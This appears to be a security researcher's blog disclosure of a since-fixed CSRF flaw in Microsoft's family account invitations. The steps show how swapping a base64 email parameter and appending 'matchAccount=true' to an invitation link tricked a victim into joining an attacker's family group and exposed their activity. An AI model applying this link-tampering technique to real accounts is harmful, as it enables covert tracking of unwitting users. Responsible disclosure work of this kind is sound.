Microsoft user data privacy exposed -- Adding any microsoft user as family member and tracking their information

In the name of Allah the beneficent the Merciful.

 

Few months Ago i discovered CSRF issue in microsoft which could have let me add any microsoft user as family member and then track their information.

This was a serious issue in  https://account.microsoft.com/family#/
 By this bug i could have made the victim to accept family
member invitation.

Proof of Concept steps :

Suppose attacker has two emails  attacker@outlook.com ,  attacker1@outlook.com
and victim has one email  victim@outlook.com

1)Login as attacker@outlook.com and  go to
https://account.microsoft.com/family#/
and then add victim@outlook.com as your child in family member section.

2) Then add attacker1@outlook.com also as child .

3) Microsoft will send an email to accept invitation to both the accounts
 attacker1@outlook.com and  victim@outlook.com .

4) Now attacker will go to   attacker1@outlook.com
and he will look for the invitation email .
It looks like this


https://account.microsoft.com/family/invite-accept?invitationToken=ABQAFgEU1tvx-TFV0tYsdJFrOsNUa36IKGoOZgAADIAAABCKaYH-hI1ydg-ig5HcA8dywADb-R160uVY7cZdQyz65YRGk3hGQkUlI1rVLOOeXBsf5RFBm6Bf2LMTK604r6imsrAgMJqoA1UfWcBz4ceTBqc23iNphZRB3y1pWBXNxiSKh-CbKbzSQSaO8e7SUbSxujDbUDLtlulRuE5bc5afNnhIFIa6lM1sDghHj5kYt0nPcNqLJeVqNUdykXnUe4WRf9H9e7kzZUyqbPHYs69kAAJJY1oSF8dniMEG7x_JwkVzpOGkXCaZdwt_xJsxYjjAS7kgADrHkgB0cOsFV-fLJ9FlKXgfdtyMOHUXn4tl-4TTLGxD&cid=934985687410854638&email=YXR0YWNrZXIxQG91dGxvb2suY29t&ma=0&lang=en-US

5) In the above link  see the parameter
email=

YXR0YWNrZXIxQG91dGxvb2suY29t

this is base 64 of attacker1@outlook.com

6) So, now attacker will base 64 victim's email address
i.e,,  base64(victim@outlook.com)  is  dmljdGltQG91dGxvb2suY29t

Now replace with the above email then it becomes



https://account.microsoft.com/family/invite-accept?invitationToken=ABQAFgEU1tvx-TFV0tYsdJFrOsNUa36IKGoOZgAADIAAABCKaYH-hI1ydg-ig5HcA8dywADb-R160uVY7cZdQyz65YRGk3hGQkUlI1rVLOOeXBsf5RFBm6Bf2LMTK604r6imsrAgMJqoA1UfWcBz4ceTBqc23iNphZRB3y1pWBXNxiSKh-CbKbzSQSaO8e7SUbSxujDbUDLtlulRuE5bc5afNnhIFIa6lM1sDghHj5kYt0nPcNqLJeVqNUdykXnUe4WRf9H9e7kzZUyqbPHYs69kAAJJY1oSF8dniMEG7x_JwkVzpOGkXCaZdwt_xJsxYjjAS7kgADrHkgB0cOsFV-fLJ9FlKXgfdtyMOHUXn4tl-4TTLGxD&cid=934985687410854638&email=
dmljdGltQG91dGxvb2suY29t&ma=0&lang=en-US


7) Now when you give the above link to victim@outlook.com it will ask
for confirmation .

Okay not bad there is mitigation for that as well :)

just append matchAccount=true  to the above url

then it will become like this





https://account.microsoft.com/family/invite-accept?invitationToken=ABQAFgEU1tvx-TFV0tYsdJFrOsNUa36IKGoOZgAADIAAABCKaYH-hI1ydg-ig5HcA8dywADb-R160uVY7cZdQyz65YRGk3hGQkUlI1rVLOOeXBsf5RFBm6Bf2LMTK604r6imsrAgMJqoA1UfWcBz4ceTBqc23iNphZRB3y1pWBXNxiSKh-CbKbzSQSaO8e7SUbSxujDbUDLtlulRuE5bc5afNnhIFIa6lM1sDghHj5kYt0nPcNqLJeVqNUdykXnUe4WRf9H9e7kzZUyqbPHYs69kAAJJY1oSF8dniMEG7x_JwkVzpOGkXCaZdwt_xJsxYjjAS7kgADrHkgB0cOsFV-fLJ9FlKXgfdtyMOHUXn4tl-4TTLGxD&cid=934985687410854638&email=
dmljdGltQG91dGxvb2suY29t&ma=0&lang=en-US&matchAccount=true


8) Perfect now when you give the above link to victim@outlook.com ,
then csrf will be performed  without his verification  .
And victim@outlook.com  will be verified as child of attacker@outlook.com

Impact of Vulnerability :

The impact of this bug was very dangerous.Attacker would have  get to know victim's activity , their history ,webbrowsing , could have blocked few websites for him , etc.

 Microsoft Has fixed the issue and acknowledge as security researcher.

Now it's no longer possible to add anyone as our family member.

  Iam very happy to safe the privacy of microsoft users data.

Here is CTF key :  596f755f676f745f696e746f5f626c6f67

Thanks for Reading

Jai Hind  :) 

Contact  info :
facebook : facebook.com/haji.mohd871
twitter : @mohdhaji24
linkedin :  linkedin.com/in/mohd-haji-490960a0